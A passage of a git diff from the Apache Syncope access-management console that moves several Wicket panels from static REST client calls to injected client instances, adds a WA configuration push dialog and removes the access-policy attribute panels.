SAML2SPEntityTO ignore) { try { - SAML2SPEntityRestClient.delete(model.getObject().getKey()); + restClient.delete(model.getObject().getKey()); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); target.add(container); @@ -174,7 +182,7 @@ protected String paginatorRowsKey() { return AMConstants.PREF_SAML2_SP_ENTITY_PAGINATOR_ROWS; } - protected static final class SAML2SPEntityProvider extends DirectoryDataProvider { + protected final class SAML2SPEntityProvider extends DirectoryDataProvider { private static final long serialVersionUID = 5282134321828253058L; @@ -182,20 +190,19 @@ protected static final class SAML2SPEntityProvider extends DirectoryDataProvider public SAML2SPEntityProvider(final int paginatorRows) { super(paginatorRows); - setSort(Constants.KEY_FIELD_NAME, SortOrder.ASCENDING); comparator = new SortableDataProviderComparator<>(this); } @Override public Iterator iterator(final long first, final long count) { - List list = SAML2SPEntityRestClient.list(); - list.sort(comparator); - return list.subList((int) first, (int) first + (int) count).iterator(); + List sps = restClient.list(); + sps.sort(comparator); + return sps.subList((int) first, (int) first + (int) count).iterator(); } @Override public long size() { - return SAML2SPEntityRestClient.list().size(); + return restClient.list().size(); } @Override diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SRARouteDirectoryPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SRARouteDirectoryPanel.java index b8f73fcf6f5..280026d2e8f 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SRARouteDirectoryPanel.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SRARouteDirectoryPanel.java @@ -26,6 +26,7 @@ import org.apache.commons.lang3.SerializationUtils; import org.apache.syncope.client.console.SyncopeConsoleSession; import org.apache.syncope.client.console.commons.AMConstants; +import org.apache.syncope.client.console.commons.DirectoryDataProvider; import org.apache.syncope.client.console.commons.SortableDataProviderComparator; import org.apache.syncope.client.console.panels.SRARouteDirectoryPanel.SRARouteProvider; import org.apache.syncope.client.console.rest.SRARouteRestClient; @@ -34,7 +35,6 @@ import org.apache.syncope.client.console.wicket.markup.html.form.ActionLink; import org.apache.syncope.client.console.wicket.markup.html.form.ActionsPanel; import org.apache.syncope.client.ui.commons.Constants; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; import org.apache.syncope.client.ui.commons.pages.BaseWebPage; import org.apache.syncope.client.ui.commons.wizards.AjaxWizard; import org.apache.syncope.common.lib.SyncopeClientException; @@ -55,19 +55,16 @@ public class SRARouteDirectoryPanel private static final long serialVersionUID = -2334397933375604015L; - public SRARouteDirectoryPanel(final String id, final PageReference pageRef) { - super(id, pageRef); + public SRARouteDirectoryPanel(final String id, final SRARouteRestClient restClient, final PageReference pageRef) { + super(id, restClient, pageRef); disableCheckBoxes(); modal.size(Modal.Size.Large); modal.addSubmitButton(); + setWindowClosedReloadCallback(modal, true); - modal.setWindowClosedCallback(target -> { - updateResultTable(target); - modal.show(false); - }); + addNewItemPanelBuilder(new SRARouteWizardBuilder(new SRARouteTO(), restClient, pageRef), true); - addNewItemPanelBuilder(new SRARouteWizardBuilder(new SRARouteTO(), pageRef), true); initResultTable(); } @@ -100,8 +97,8 @@ protected ActionsPanel getActions(final IModel model) { @Override public void onClick(final AjaxRequestTarget target, final SRARouteTO ignore) { send(SRARouteDirectoryPanel.this, Broadcast.EXACT, - new AjaxWizard.EditItemActionEvent<>( - SRARouteRestClient.read(model.getObject().getKey()), target)); + new AjaxWizard.EditItemActionEvent<>( + restClient.read(model.getObject().getKey()), target)); } }, ActionLink.ActionType.EDIT, AMEntitlement.SRA_ROUTE_UPDATE); @@ -114,7 +111,7 @@ public void onClick(final AjaxRequestTarget target, final SRARouteTO ignore) { SRARouteTO clone = SerializationUtils.clone(model.getObject()); clone.setKey(null); send(SRARouteDirectoryPanel.this, Broadcast.EXACT, - new AjaxWizard.EditItemActionEvent<>(clone, target)); + new AjaxWizard.EditItemActionEvent<>(clone, target)); } }, ActionLink.ActionType.CLONE, AMEntitlement.SRA_ROUTE_CREATE); @@ -126,7 +123,8 @@ public void onClick(final AjaxRequestTarget target, final SRARouteTO ignore) { public void onClick(final AjaxRequestTarget target, final SRARouteTO ignore) { SRARouteTO route = model.getObject(); try { - SRARouteRestClient.delete(route.getKey()); + restClient.delete(route.getKey()); + SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); target.add(container); } catch (SyncopeClientException e) { @@ -155,7 +153,7 @@ protected String paginatorRowsKey() { return AMConstants.PREF_GATEWAYROUTE_PAGINATOR_ROWS; } - protected static final class SRARouteProvider extends DirectoryDataProvider { + protected final class SRARouteProvider extends DirectoryDataProvider { private static final long serialVersionUID = 5282134321828253058L; @@ -169,14 +167,14 @@ public SRARouteProvider(final int paginatorRows) { @Override public Iterator iterator(final long first, final long count) { - List list = SRARouteRestClient.list(); + List list = restClient.list(); list.sort(comparator); return list.subList((int) first, (int) first + (int) count).iterator(); } @Override public long size() { - return SRARouteRestClient.list().size(); + return restClient.list().size(); } @Override diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SRARouteWizardBuilder.java b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SRARouteWizardBuilder.java index 66bba51a52d..1505753740f 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SRARouteWizardBuilder.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SRARouteWizardBuilder.java @@ -27,7 +27,7 @@ import org.apache.syncope.client.ui.commons.Constants; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxCheckBoxPanel; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxDropDownChoicePanel; -import org.apache.syncope.client.ui.commons.markup.html.form.AjaxSpinnerFieldPanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxNumberFieldPanel; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; import org.apache.syncope.common.lib.to.SRARouteTO; import org.apache.syncope.common.lib.types.SRARouteType; @@ -45,16 +45,23 @@ public class SRARouteWizardBuilder extends BaseAjaxWizardBuilder { private static final long serialVersionUID = 2060352959114706419L; - public SRARouteWizardBuilder(final SRARouteTO route, final PageReference pageRef) { + protected final SRARouteRestClient sraRouteRestClient; + + public SRARouteWizardBuilder( + final SRARouteTO route, + final SRARouteRestClient sraRouteRestClient, + final PageReference pageRef) { + super(route, pageRef); + this.sraRouteRestClient = sraRouteRestClient; } @Override protected Serializable onApplyInternal(final SRARouteTO modelObject) { if (modelObject.getKey() == null) { - SRARouteRestClient.create(modelObject); + sraRouteRestClient.create(modelObject); } else { - SRARouteRestClient.update(modelObject); + sraRouteRestClient.update(modelObject); } return modelObject; } @@ -147,7 +154,7 @@ public void setObject(final String object) { add(new AjaxCheckBoxPanel("csrf", "csrf", new PropertyModel<>(route, "csrf"))); - add(new AjaxSpinnerFieldPanel.Builder().min(0).build( + add(new AjaxNumberFieldPanel.Builder().min(0).build( "order", "order", Integer.class, new PropertyModel<>(route, "order")). setRequired(true)); } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SRAStatisticsPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SRAStatisticsPanel.java index 5709553adb3..c4a0a5a63ff 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SRAStatisticsPanel.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/SRAStatisticsPanel.java @@ -40,38 +40,46 @@ import org.apache.wicket.model.IModel; import org.apache.wicket.model.LoadableDetachableModel; import org.apache.wicket.model.Model; +import org.apache.wicket.spring.injection.annot.SpringBean; public class SRAStatisticsPanel extends Panel { private static final long serialVersionUID = 23816535591360L; - private static final List TYPES = List.of( + protected static final List TYPES = List.of( Buttons.Type.Info, Buttons.Type.Success, Buttons.Type.Warning, Buttons.Type.Danger, Buttons.Type.Dark); - private final NumberWidget count; + @SpringBean + protected SRARouteRestClient sraRouteRestClient; - private final NumberWidget totalTime; + @SpringBean + protected SRAStatisticsRestClient sraStatisticsRestClient; - private final NumberWidget max; + protected final NumberWidget count; - private final List> selected = new ArrayList<>(); + protected final NumberWidget totalTime; - private final LoadableDetachableModel> routes = - new LoadableDetachableModel<>() { + protected final NumberWidget max; - @Override - protected Map load() { - return SRARouteRestClient.list().stream(). + protected final List> selected = new ArrayList<>(); + + protected final LoadableDetachableModel> routes = new LoadableDetachableModel<>() { + + private static final long serialVersionUID = 9089911876466472133L; + + @Override + protected Map load() { + return sraRouteRestClient.list().stream(). collect(Collectors.toMap(SRARouteTO::getKey, SRARouteTO::getName)); - } - }; + } + }; - private int current; + protected int current; public SRAStatisticsPanel(final String id, final List instances) { super(id); - SRAStatistics stats = SRAStatisticsRestClient.get(instances, selected); + SRAStatistics stats = sraStatisticsRestClient.get(instances, selected); count = new NumberWidget("count", "bg-green", stats.getMeasurement("COUNT").orElse(0F), "count", "fas fa-pen-nib"); @@ -87,27 +95,33 @@ public SRAStatisticsPanel(final String id, final List instances) ListView availableTags = new ListView<>("availableTags", stats.getAvailableTags()) { + private static final long serialVersionUID = -9112553137618363167L; + @Override protected void populateItem(final ListItem tag) { String btnCss = next().cssClassName(); tag.add(new Label("label", tag.getModelObject().getTag())); tag.add(new ListView<>("tag", tag.getModelObject().getValues()) { + private static final long serialVersionUID = -9112553137618363167L; + @Override protected void populateItem(final ListItem value) { AjaxLink valueLink = new AjaxLink<>("valueLink") { + private static final long serialVersionUID = 6250423506463465679L; + @Override public void onClick(final AjaxRequestTarget target) { Pair selection = - Pair.of(tag.getModelObject().getTag(), value.getModelObject()); + Pair.of(tag.getModelObject().getTag(), value.getModelObject()); if (selected.contains(selection)) { selected.remove(selection); } else { selected.add(selection); } - SRAStatistics refresh = SRAStatisticsRestClient.get(instances, selected); + SRAStatistics refresh = sraStatisticsRestClient.get(instances, selected); count.refresh(refresh.getMeasurement("COUNT").orElse(0F)); totalTime.refresh(refresh.getMeasurement("TOTAL_TIME").orElse(0F)); @@ -126,8 +140,8 @@ protected void onComponentTag(final ComponentTag tag) { }; IModel valueLabel = routes.getObject().containsKey(value.getModelObject()) - ? Model.of(routes.getObject().get(value.getModelObject())) - : value.getModel(); + ? Model.of(routes.getObject().get(value.getModelObject())) + : value.getModel(); valueLink.add(new Label("valueLabel", valueLabel)); value.add(valueLink); } @@ -137,7 +151,7 @@ protected void onComponentTag(final ComponentTag tag) { add(availableTags); } - private Buttons.Type next() { + protected Buttons.Type next() { if (current < TYPES.size()) { Buttons.Type type = TYPES.get(current); current++; diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/WAConfigDirectoryPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/WAConfigDirectoryPanel.java index 9dfc8d7f724..bd008fdf79a 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/WAConfigDirectoryPanel.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/WAConfigDirectoryPanel.java @@ -40,8 +40,8 @@ public class WAConfigDirectoryPanel extends AttrListDirectoryPanel { private static final long serialVersionUID = 1538796157345L; - public WAConfigDirectoryPanel(final String id, final PageReference pageRef) { - super(id, pageRef, true); + public WAConfigDirectoryPanel(final String id, final WAConfigRestClient restClient, final PageReference pageRef) { + super(id, restClient, pageRef, true); this.addNewItemPanelBuilder(new AbstractModalPanelBuilder(new Attr(), pageRef) { @@ -78,7 +78,11 @@ public ActionsPanel getActions(final IModel model) { public void onClick(final AjaxRequestTarget target, final Attr ignore) { target.add(modal); modal.header(new StringResourceModel("any.edit")); - modal.setContent(new WAConfigModalPanel(modal, model.getObject(), AjaxWizard.Mode.EDIT, pageRef)); + modal.setContent(new WAConfigModalPanel( + modal, + ((WAConfigRestClient) restClient).get(model.getObject().getSchema()), + AjaxWizard.Mode.EDIT, + pageRef)); modal.show(true); } }, ActionLink.ActionType.EDIT, AMEntitlement.WA_CONFIG_SET); @@ -90,7 +94,7 @@ public void onClick(final AjaxRequestTarget target, final Attr ignore) { @Override public void onClick(final AjaxRequestTarget target, final Attr ignore) { try { - WAConfigRestClient.delete(model.getObject().getSchema()); + ((WAConfigRestClient) restClient).delete(model.getObject().getSchema()); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); target.add(container); @@ -105,7 +109,7 @@ public void onClick(final AjaxRequestTarget target, final Attr ignore) { return panel; } - protected static final class WAConfigProvider extends AttrListProvider { + protected final class WAConfigProvider extends AttrListProvider { private static final long serialVersionUID = -185944053385660794L; @@ -115,7 +119,7 @@ private WAConfigProvider(final int paginatorRows) { @Override protected List list() { - return WAConfigRestClient.list(); + return ((WAConfigRestClient) restClient).list(); } } } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/WAConfigModalPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/WAConfigModalPanel.java index e95f3c9295b..a8f74609972 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/WAConfigModalPanel.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/WAConfigModalPanel.java @@ -28,26 +28,30 @@ import org.apache.syncope.common.lib.types.AttrSchemaType; import org.apache.wicket.PageReference; import org.apache.wicket.extensions.wizard.WizardModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class WAConfigModalPanel extends AbstractModalPanel { private static final long serialVersionUID = 1690738212977L; - private static ConfParam toConfParam(final Attr attr) { + protected static ConfParam toConfParam(final Attr attr) { ConfParam param = new ConfParam(); param.setSchema(attr.getSchema()); param.getValues().addAll(attr.getValues()); return param; } - private static Attr toAttr(final ConfParam confParam) { + protected static Attr toAttr(final ConfParam confParam) { Attr attr = new Attr.Builder(confParam.getSchema()).build(); attr.getValues().addAll( confParam.getValues().stream().map(Serializable::toString).collect(Collectors.toList())); return attr; } - private final ParametersWizardPanel.ParametersForm form; + @SpringBean + protected WAConfigRestClient waConfigRestClient; + + protected final ParametersWizardPanel.ParametersForm form; public WAConfigModalPanel( final BaseModal modal, @@ -66,6 +70,8 @@ public WAConfigModalPanel( add(new ParametersWizardPanel(form, null, pageRef) { + private static final long serialVersionUID = -1469319240177117600L; + @Override protected WizardModel buildModelSteps(final ParametersForm modelObject, final WizardModel wizardModel) { wizardModel.add(new ParametersWizardAttrStep(mode, modelObject)); @@ -76,7 +82,7 @@ protected WizardModel buildModelSteps(final ParametersForm modelObject, final Wi protected Serializable onApplyInternal(final ParametersWizardPanel.ParametersForm modelObject) { modelObject.getParam().setMultivalue(modelObject.getSchema().isMultivalue()); try { - WAConfigRestClient.set(toAttr(modelObject.getParam())); + waConfigRestClient.set(toAttr(modelObject.getParam())); } catch (Exception e) { LOG.error("While setting {}", modelObject.getParam(), e); throw e; diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/panels/WAPushModalPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/WAPushModalPanel.java new file mode 100644 index 00000000000..841a0c298d1 --- /dev/null +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/panels/WAPushModalPanel.java @@ -0,0 +1,85 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.console.panels; + +import java.io.Serializable; +import java.util.List; +import java.util.stream.Collectors; +import org.apache.syncope.client.console.SyncopeConsoleSession; +import org.apache.syncope.client.console.pages.BasePage; +import org.apache.syncope.client.console.rest.WAConfigRestClient; +import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal; +import org.apache.syncope.client.ui.commons.Constants; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxDropDownChoicePanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxPalettePanel; +import org.apache.syncope.common.keymaster.client.api.model.NetworkService; +import org.apache.syncope.common.rest.api.service.wa.WAConfigService; +import org.apache.wicket.PageReference; +import org.apache.wicket.ajax.AjaxRequestTarget; +import org.apache.wicket.model.Model; +import org.apache.wicket.model.util.ListModel; +import org.apache.wicket.spring.injection.annot.SpringBean; + +public class WAPushModalPanel extends AbstractModalPanel { + + private static final long serialVersionUID = -8589310598889871801L; + + @SpringBean + protected WAConfigRestClient waConfigRestClient; + + protected final Model subjectModel = new Model<>(WAConfigService.PushSubject.conf); + + protected final ListModel servicesModel = new ListModel<>(); + + public WAPushModalPanel( + final BaseModal modal, + final List instances, + final PageReference pageRef) { + + super(modal, pageRef); + + List addresses = instances.stream(). + map(NetworkService::getAddress).distinct().sorted().collect(Collectors.toList()); + servicesModel.setObject(addresses); + + add(new AjaxPalettePanel.Builder().setName("services").setAllowMoveAll(true).build( + "services", + servicesModel, + new ListModel<>(addresses)).addRequiredLabel()); + + add(new AjaxDropDownChoicePanel<>( + "subject", getString("subject"), subjectModel). + setChoices(List.of(WAConfigService.PushSubject.values())). + setChoiceRenderer(s -> getString(s.name(), Model.of(), s.name())).setNullValid(false)); + } + + @Override + public void onSubmit(final AjaxRequestTarget target) { + try { + waConfigRestClient.push(subjectModel.getObject(), servicesModel.getObject()); + + SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); + this.modal.close(target); + } catch (Exception e) { + LOG.error("While pushing to WA", e); + SyncopeConsoleSession.get().onException(e); + } + ((BasePage) pageRef.getPage()).getNotificationPanel().refresh(target); + } +} diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AccessPolicyAttrsDirectoryPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AccessPolicyAttrsDirectoryPanel.java deleted file mode 100644 index e7c1c0720af..00000000000 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AccessPolicyAttrsDirectoryPanel.java +++ /dev/null @@ -1,141 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.client.console.policies; - -import java.util.List; -import org.apache.syncope.client.console.SyncopeConsoleSession; -import org.apache.syncope.client.console.commons.AMConstants; -import org.apache.syncope.client.console.panels.AttrListDirectoryPanel; -import org.apache.syncope.client.console.rest.PolicyRestClient; -import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal; -import org.apache.syncope.client.console.wicket.markup.html.form.ActionLink; -import org.apache.syncope.client.console.wicket.markup.html.form.ActionsPanel; -import org.apache.syncope.client.ui.commons.Constants; -import org.apache.syncope.client.ui.commons.pages.BaseWebPage; -import org.apache.syncope.client.ui.commons.wizards.AjaxWizard; -import org.apache.syncope.common.lib.Attr; -import org.apache.syncope.common.lib.SyncopeClientException; -import org.apache.syncope.common.lib.policy.AccessPolicyConf; -import org.apache.syncope.common.lib.policy.AccessPolicyTO; -import org.apache.syncope.common.lib.types.IdRepoEntitlement; -import org.apache.syncope.common.lib.types.PolicyType; -import org.apache.wicket.PageReference; -import org.apache.wicket.ajax.AjaxRequestTarget; -import org.apache.wicket.event.IEvent; -import org.apache.wicket.model.IModel; -import org.danekja.java.util.function.serializable.SerializableFunction; - -public class AccessPolicyAttrsDirectoryPanel extends AttrListDirectoryPanel { - - private static final long serialVersionUID = 33604877627114L; - - private final BaseModal wizardModal; - - private final IModel accessPolicyModel; - - private final SerializableFunction> attrsAccessor; - - public AccessPolicyAttrsDirectoryPanel( - final String id, - final BaseModal wizardModal, - final IModel model, - final SerializableFunction> attrsAccessor, - final PageReference pageRef) { - - super(id, pageRef, false); - - this.wizardModal = wizardModal; - this.accessPolicyModel = model; - this.attrsAccessor = attrsAccessor; - - setOutputMarkupId(true); - - enableUtilityButton(); - setFooterVisibility(false); - - addNewItemPanelBuilder( - new AccessPolicyAttrsWizardBuilder(model.getObject(), attrsAccessor, new Attr(), pageRef), true); - - initResultTable(); - } - - @Override - protected ActionsPanel getActions(final IModel model) { - ActionsPanel panel = super.getActions(model); - - panel.add(new ActionLink<>() { - - private static final long serialVersionUID = -3722207913631435501L; - - @Override - public void onClick(final AjaxRequestTarget target, final Attr ignore) { - try { - attrsAccessor.apply(accessPolicyModel.getObject().getConf()).remove(model.getObject()); - PolicyRestClient.update(PolicyType.ACCESS, accessPolicyModel.getObject()); - - SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); - target.add(container); - } catch (SyncopeClientException e) { - LOG.error("While updating {}", accessPolicyModel.getObject().getKey(), e); - SyncopeConsoleSession.get().onException(e); - } - ((BaseWebPage) pageRef.getPage()).getNotificationPanel().refresh(target); - } - }, ActionLink.ActionType.DELETE, IdRepoEntitlement.POLICY_UPDATE, true); - - return panel; - } - - @Override - public void onEvent(final IEvent event) { - if (event.getPayload() instanceof ExitEvent) { - AjaxRequestTarget target = ExitEvent.class.cast(event.getPayload()).getTarget(); - wizardModal.close(target); - } else if (event.getPayload() instanceof AjaxWizard.EditItemActionEvent) { - @SuppressWarnings("unchecked") - AjaxWizard.EditItemActionEvent payload = (AjaxWizard.EditItemActionEvent) event.getPayload(); - payload.getTarget().ifPresent(actionTogglePanel::close); - } - super.onEvent(event); - } - - @Override - protected AttrListProvider dataProvider() { - return new AccessPolicyAttrsProvider(rows); - } - - @Override - protected String paginatorRowsKey() { - return AMConstants.PREF_ACCESS_POLICY_CONF_ATTRS_PAGINATOR_ROWS; - } - - protected final class AccessPolicyAttrsProvider extends AttrListProvider { - - private static final long serialVersionUID = -185944053385660794L; - - private AccessPolicyAttrsProvider(final int paginatorRows) { - super(paginatorRows); - } - - @Override - protected List list() { - return attrsAccessor.apply(accessPolicyModel.getObject().getConf()); - } - } -} diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AccessPolicyAttrsWizardBuilder.java b/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AccessPolicyAttrsWizardBuilder.java deleted file mode 100644 index a371e0328c2..00000000000 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AccessPolicyAttrsWizardBuilder.java +++ /dev/null @@ -1,60 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.client.console.policies; - -import java.io.Serializable; -import java.util.List; -import org.apache.syncope.client.console.rest.PolicyRestClient; -import org.apache.syncope.client.console.wizards.AttrWizardBuilder; -import org.apache.syncope.common.lib.Attr; -import org.apache.syncope.common.lib.policy.AccessPolicyConf; -import org.apache.syncope.common.lib.policy.AccessPolicyTO; -import org.apache.syncope.common.lib.types.PolicyType; -import org.apache.wicket.PageReference; -import org.danekja.java.util.function.serializable.SerializableFunction; - -public class AccessPolicyAttrsWizardBuilder extends AttrWizardBuilder { - - private static final long serialVersionUID = 33625775269155L; - - private final AccessPolicyTO accessPolicy; - - private final SerializableFunction> attrsAccessor; - - public AccessPolicyAttrsWizardBuilder( - final AccessPolicyTO accessPolicy, - final SerializableFunction> attrsAccessor, - final Attr attr, - final PageReference pageRef) { - - super(attr, pageRef); - this.accessPolicy = accessPolicy; - this.attrsAccessor = attrsAccessor; - } - - @Override - protected Serializable onApplyInternal(final Attr modelObject) { - attrsAccessor.apply(accessPolicy.getConf()).removeIf(p -> modelObject.getSchema().equals(p.getSchema())); - attrsAccessor.apply(accessPolicy.getConf()).add(modelObject); - - PolicyRestClient.update(PolicyType.ACCESS, accessPolicy); - - return null; - } -} diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AccessPolicyDirectoryPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AccessPolicyDirectoryPanel.java index 86fe8f41474..7743cf3c8b6 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AccessPolicyDirectoryPanel.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AccessPolicyDirectoryPanel.java @@ -19,12 +19,9 @@ package org.apache.syncope.client.console.policies; import java.util.List; -import org.apache.syncope.client.console.panels.ModalDirectoryPanel; import org.apache.syncope.client.console.rest.PolicyRestClient; -import org.apache.syncope.client.console.wicket.extensions.markup.html.repeater.data.table.BooleanPropertyColumn; import org.apache.syncope.client.console.wicket.markup.html.form.ActionLink; import org.apache.syncope.client.console.wicket.markup.html.form.ActionsPanel; -import org.apache.syncope.common.lib.policy.AccessPolicyConf; import org.apache.syncope.common.lib.policy.AccessPolicyTO; import org.apache.syncope.common.lib.policy.DefaultAccessPolicyConf; import org.apache.syncope.common.lib.types.IdRepoEntitlement; @@ -32,8 +29,11 @@ import org.apache.wicket.PageReference; import org.apache.wicket.ajax.AjaxRequestTarget; import org.apache.wicket.authroles.authorization.strategies.role.metadata.MetaDataRoleAuthorizationStrategy; +import org.apache.wicket.extensions.markup.html.repeater.data.grid.ICellPopulator; +import org.apache.wicket.extensions.markup.html.repeater.data.table.AbstractColumn; import org.apache.wicket.extensions.markup.html.repeater.data.table.IColumn; -import org.apache.wicket.extensions.markup.html.repeater.data.table.PropertyColumn; +import org.apache.wicket.markup.html.basic.Label; +import org.apache.wicket.markup.repeater.Item; import org.apache.wicket.model.IModel; import org.apache.wicket.model.Model; import org.apache.wicket.model.StringResourceModel; @@ -42,13 +42,13 @@ public class AccessPolicyDirectoryPanel extends PolicyDirectoryPanel(PolicyType.ACCESS, defaultItem, modal, pageRef), true); + new PolicyModalPanelBuilder<>(PolicyType.ACCESS, defaultItem, modal, restClient, pageRef), true); MetaDataRoleAuthorizationStrategy.authorize(addAjaxLink, RENDER, IdRepoEntitlement.POLICY_CREATE); initResultTable(); @@ -56,65 +56,40 @@ public AccessPolicyDirectoryPanel(final String id, final PageReference pageRef) @Override protected void addCustomColumnFields(final List> columns) { - columns.add(new PropertyColumn<>(new StringResourceModel("order", this), "order", "order")); - columns.add(new BooleanPropertyColumn<>( - new StringResourceModel("enabled", this), "enabled", "enabled")); - columns.add(new BooleanPropertyColumn<>( - new StringResourceModel("ssoEnabled", this), "ssoEnabled", "ssoEnabled")); - columns.add(new BooleanPropertyColumn<>( - new StringResourceModel("requireAllAttributes", this), "requireAllAttributes", "requireAllAttributes")); - columns.add(new BooleanPropertyColumn<>( - new StringResourceModel("caseInsensitive", this), "caseInsensitive", "caseInsensitive")); - } + columns.add(new AbstractColumn(new StringResourceModel("conf", this)) { - @Override - protected void addCustomActions(final ActionsPanel panel, final IModel model) { - panel.add(new ActionLink<>() { - - private static final long serialVersionUID = -3722207913631435501L; + private static final long serialVersionUID = -7226955670801277153L; @Override - public void onClick(final AjaxRequestTarget target, final AccessPolicyTO ignore) { - model.setObject(PolicyRestClient.read(type, model.getObject().getKey())); - if (model.getObject().getConf() == null) { - model.getObject().setConf(new DefaultAccessPolicyConf()); - } - target.add(ruleCompositionModal.setContent(new ModalDirectoryPanel<>( - ruleCompositionModal, - new AccessPolicyAttrsDirectoryPanel( - "panel", - ruleCompositionModal, - model, - AccessPolicyConf::getRequiredAttrs, - pageRef), - pageRef))); - ruleCompositionModal.header(new Model<>(getString("requiredAttrs.title", model))); - ruleCompositionModal.show(true); + public void populateItem( + final Item> cellItem, + final String componentId, + final IModel rowModel) { + + cellItem.add(new Label(componentId, rowModel.getObject().getConf() == null + ? "" + : rowModel.getObject().getConf().getClass().getName())); } - }, ActionLink.ActionType.TYPE_EXTENSIONS, IdRepoEntitlement.POLICY_UPDATE); + }); + } + @Override + protected void addCustomActions(final ActionsPanel panel, final IModel model) { panel.add(new ActionLink<>() { private static final long serialVersionUID = -3722207913631435501L; @Override public void onClick(final AjaxRequestTarget target, final AccessPolicyTO ignore) { - model.setObject(PolicyRestClient.read(type, model.getObject().getKey())); + model.setObject(restClient.read(type, model.getObject().getKey())); if (model.getObject().getConf() == null) { model.getObject().setConf(new DefaultAccessPolicyConf()); } - target.add(ruleCompositionModal.setContent(new ModalDirectoryPanel<>( - ruleCompositionModal, - new AccessPolicyAttrsDirectoryPanel( - "panel", - ruleCompositionModal, - model, - AccessPolicyConf::getRejectedAttrs, - pageRef), - pageRef))); - ruleCompositionModal.header(new Model<>(getString("rejectedAttrs.title", model))); - ruleCompositionModal.show(true); + target.add(policySpecModal.setContent( + new AccessPolicyModalPanel(policySpecModal, model, pageRef))); + policySpecModal.header(new Model<>(getString("accessPolicyConf.title", model))); + policySpecModal.show(true); } - }, ActionLink.ActionType.CLAIM, IdRepoEntitlement.POLICY_UPDATE); + }, ActionLink.ActionType.CHANGE_VIEW, IdRepoEntitlement.POLICY_UPDATE); } } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AccessPolicyModalPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/policies/AccessPolicyModalPanel.java new file mode 100644 index 